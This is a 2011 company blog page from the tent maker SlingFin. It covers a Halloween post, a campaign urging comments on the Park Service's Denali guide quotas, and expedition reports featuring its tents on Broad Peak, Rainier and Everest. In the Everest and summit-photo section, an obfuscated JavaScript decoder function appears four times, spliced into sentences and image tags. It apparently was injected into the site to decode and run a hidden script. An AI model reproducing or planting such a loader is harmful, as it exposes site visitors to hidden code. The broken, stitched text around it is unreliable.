Logos, Beer Goggles and Halloween...

With all the mad-science going on around here it is easy to get carried away, we get funky-weird-crazy all the time around the shop.  Good thing The Bay Area celebrates halloween for a week or more. When people asked me what I was today, I said…

” I’m the conceptual marketing department for the ideological social networking interface”

Most people didn’t get that.

I was just the idea of a concept trying to sell itself, to itself.

 Some people didn’t get that either.

Happy Halloween!

-A, Weirdo

Help Save the Guides on Denali.

On a big mountain a good guide can mean the difference between a life changing experience and basic survival.

The NPS is planning to reduce the amount of guides on Denali next season by 75%, in some cases cutting the employed guides from 54 to 13.

Slingfin received the following email today and it was so well written I felt the need to post the whole thing.

GET INVOLVED!

PASS IT ON!

The first round prototype of one of our new tents the "Hardshell" on Denali last May.

SAVE THE GUIDES!

"The NPS has Denali climber allocation up for final discussion.  Thanks to all of you that commented last winter on this topic! They read the comments and came up with 3 alternatives to try and work from. 
I really appreciated that they are trying to resolve this issue. Sadly, all of the alternatives they list include a baseline 25% commercial use. This percentage could drastically effects the future of guiding and guiding jobs on Denali. 
25% equals 47 clients per concession and only 15 guide positions per season for AMS. 
To compare: This year we led 94 clients on Denali and had 47 guide positions on Denali.
You can comment and find the whole plan at this address:http://parkplanning.nps.gov/document.cfm?parkID=9&projectID=33610&documentID=43253
DEADLINE TO COMMENT IS THIS SATURDAY OCTOBER 15, 2011
We are still formulating our comments to this plan, and we need you (and your friends and family) to comment too!  Comments must have a solid reasoning to be considered. Here are some points to consider. Scroll to the bottom to see our proposed solutions.
The Denali Park # 3 preferred alternative is good with exceptions of: 
         1. Limiting commercial capacity to 25% of 1500
         2. The inclusion of mountain guides to the base allowable percentage  
         3. Lack of clear implementation plan. 
Here is why:
 1. Inadequate Range of Alternatives:
The base allowable commercial use of 25% is listed in all three alternatives. The 2011 EA and the 2006 BCMP do not acknowledge the significant economic impact that the reduction to 25% commercial use will have on the Denali mountaineering concessioners, their employees, park visitors, or surrounding local businesses. If the Denali National Park feels it must reduce base commercial use to 25% of total allowable use, then, NEPA requires an Environmental Impact Statement with socioeconomic studies. The NPS preferred alternative #3 does suggest the opportunity for increased use due to potential unclaimed permits, but offers no plan to implement that increased use to meet current visitor demand and no implementation of that plan. 
2. Lack Of Conflict/ Ease of Using Current Methods:
Guided and individual climbers are not being displaced using current methods of regulating climbing activity, we suggest using the working current percentages, with moderate room for growth to accommodate the trend of increasing demand.
3. Decreased Job Opportunity:
            In 2011, Alaska Mountaineering School (AMS) employed 47 guide positions.  Decreasing guaranteed commercial opportunity to 25% would allow only 15 guide jobs on Denali for the season.  Another Concessioner employed 54 guides, for their business model a reduction to 25% would provide only 13 guide positions available.  
For all the concessioners estimates show that over 90 guide positions could be lost.

 

4. Decreased Stewardship:
            Each guided expedition on Denali provides 21 days of education to clients; this encourages and results in excellent stewardship of the glaciated mountain environment and Denali National Park. In 2010 there were 169 guides on Denali educating the public. Reducing the guaranteed opportunity of commercial activity to 25% could result in a loss of 1,974 days of guided education on the West Buttress.
5. Decreased Cleanliness:
            Field observations show that guided groups are cleaner and more responsible for a cleaner mountain environment. They are, in fact, bound to be cleaner by their concession contract and therefore are additionally accountable. 
6. Decreased Visitor Opportunity:
            In 2010, 1177 people climbed Mt. McKinley, of those 409 were guided climbers, a 25% limitation could result in 174 less guided park visitors.  That is 42% of the people may not be able to climb Mt. McKinley with a guided team.

 

7. West Buttress Special Use Area Corridor
The area of Mount McKinley that we are discussing is the West Buttress, not the entire massif. The park BCMP acknowledged that the area is higher use and designated it as such by calling it the West Buttress Special Use Corridor, which is within the Old Park wilderness area. 
The Parks BCMP sates that within this corridor park visitors will encounter:
• High Evidence of Human Use
• Landscape modifications
• Encounters with large groups
• High Camping Density
High Administrative Presence
We believe the original intent was to limit commercial use to 25% of potential use in the Wilderness Area outside of the Special Use Corridor (precisely why it was designated).  This Corridor designation allows the NPS to be flexible within the acknowledged busier area of the West Buttress Route of Mt. McKinley, to accommodate park visitors wishing to join a guided expedition.  
8. Don’t Count Guides
Guides are not recreating; they are working. Excluding guides from commercial percentage allows a smaller commercial percentage (closer to the BCMP figure) and greater park visitor safety.  Including guides in the percentage will result in fewer guides on the mountain, decreasing overall quality of experience to all park visitors who climb because of the support guides provide for the entire visitor population. Mountain guides provide a multitude of positive contributions to the national park lands and all park visitors while climbing Mt. McKinley, which include but are not limited to: increased safety and hazard awareness, assistance to park rangers in SAR operations and maintenance of equipment on the mountain, LNT environmental ethics and practices, education of the natural and human history of the Alaska Range and surrounding terrain.

 

Proposed Solutions:
1. (Preferred) Include guided climbers only in the guaranteed opportunity of commercial use to 38% of total possible activity on the West Buttress of Mt. McKinley. To accommodate increased visitor demand in the future, utilize the NPS plan to share with concessioners unused climbing permits. Implement the plan with an equally divided, structured format, in order to offer the park visitors fair opportunity to climb Denali and to protect future opportunities.  Include the plan of implementation within the mountaineering concession contracts.

 

2. Include guided climbers and guides in the guaranteed opportunity of commercial use to 50% (1982- present allowable use) of total possible activity on the West Buttress of Mt. McKinley. To accommodate increased visitor demand in the future, utilize the NPS plan to share with concessioners unused climbing permits. Implement the plan with an equally divided, structured format, in order to offer the park visitors fair opportunity to climb Denali and to protect future opportunities.  Include the plan of implementation within the mountaineering concession contracts."

The L.F.D on Broad Peak.

The Altituide Junkies crew have returned from an expedition to Broad Peak.

From the Altitude Junkies blog:

“We have now finally arrived in Base Camp after six long days trekking and will be enjoying some well deserved rest over the next few days while we establish our base camp.

 

For this Broad Peak expedition we are very pleased to be using the LFD dome made by SlingFin as our dinning and communication tent. The guys behind SlingFin, Martin and Tim, are two of the original guys who started Mountain Hardwear so we expect them to be knocking out some awesome tents in the future with the SlingFin product line.

 

After we have base camp established with all our communication and solar equipment set up we will then make plans to start to fix rope to camp one and get some acclimatization rotations in.

 

The above photos show the view of K2 from Broad Peak base camp and our members enjoying lunch in our SlingFin dining dome.

 

-Phil Crampton"

Phil is a well seasoned mountain guide who really knows his stuff, his insights and comments from the field are invaluable to us back at our own base camp in Berkeley.

Thanks for the kudos Phil! We hope to get your team in a B.F.D for the next expedition.

Prototype development on Mt.Rainier.

Michael Horst is a mountaineer who has recently added a page to mountaineering history.

This past May he summited Everest and Lhotse in 21 hours, making him the first human to accomplish such a feat.  He was followed by another team of climbers led by Garett Madison, who were using the L.F.D on their expedition.

Being a good friend of SlingFin and with his recent accomplishments, we offered Michael a prototype of a tent we are developing called the Hardshell.

The Hardshell is the smallest of our alpine tent line designed to be pushed up high on the mountain and shelter 3-4 climbers and gear. Built around the Webtruss the Hardshell has all the advantages of the OneUp in a smaller lighter package and a full pole supported vestibule.

Michael got the Hardshell to 11,000ft at Ingraham Flats on Mt.Rainier and came back with great reviews and some stunning photos. This little fortress is in the final stages of development and with its recent performance in the field, we are certain it will be a driving force as strong as those it was designed to withstand.

We are also working on a few other models and if you look closely at the album on Facebook you may be able to spot them...

Tell me what you find and ill send you a sticker!

Happy Trails.

=D

 

Back from Outdoor Retailer

Tim does a little “tent yoga”The SlingFin Crew @ Tent City.  We figure, we make outdoor products… why not be outdoors!

The BFD was a surprising sanctuary during the heat of the day. With temperature in the upper 90s all week, I haver never seen a tent this big that stays this cool, and with all the vents and doors open the shade in the tent was cooler than outside. 

SlingFin is making headlines!

No, its not because of the reports of U.F.O sightings on Gilman St..

The outer shell of a OneUP suspended above the inner tent.

 

 

It’s about L.F.D sightings on Everest!

The L.F.D in Camp 2 (21,300 ft) Photo- Mountain Trip.

“When a team of climbers reached the summit of Mount Everest on Thursday, they had a significant advantage over other teams this spring, many of whom were forced to turn back short of the world’s tallest peak by bad weather.”…..

 

……”Our goal is not to build this business up and sell it off. We're not a marketing company; we're a product-driven company that in the long run will translate into relationships with the people who appreciate this gear and will support it. In the short run it will be very challenging, but this is the way to properly brand the business in the long run." function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oetribune/localnews/ci_18105930">Read the entire article here.

=D

Summit pics!

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-scott-on-the-summit.jpg">function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-scott-on-the-summit" src="http://digitalcobra.com/blog/wp-content/uploads/2011/05/newall-gregg-irekl-and-scott-on-the-summit.jpg" alt="" width="594" height="446" />

Looking back at the south summit of Everest - Photo- Mountain Trip.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-scott-on-the-summit.jpg">

MOUNTAIN TRIP IS ON TOP OF THE WORLD!

Ephi just waiting to get into his tent

Thanks to the strong and experienced guides at Mountain Trip, they had a 100% summit success!

All the comforts of home in our big dome! Laurie brings sushi to base camp.

 

And what from what i've seen from the crew so far, this group does it right. Sushi at base camp? Labatts beer at Camp 3 @24,500ft ?  Days of extras oxygen at Camp 4? Sounds like Mountain Trip pulls out all the stops for their clients, add to that guides like Scott Woolums and Bill Allen who have spent more nights in the back country than an alaskan bear cub, and you have a recipe for a solid expedition team.

A.A.I HAS DONE IT! EVEREST AND LHOTSE DOUBLE SUMMIT!

Alpine Ascents’ website officially reports: At 4:22 am on May 20th 2011, Garrett Madison, Tom Halliday and Kami Rita Sherpa made the summit of Lhotse!

This is a truly amazing feat of mountaineering in all aspects of the sport. The level of skill and sheer endurance that this type of climb requires is possessed by very few people on this earth.

CONGRATULATIONS BOYS!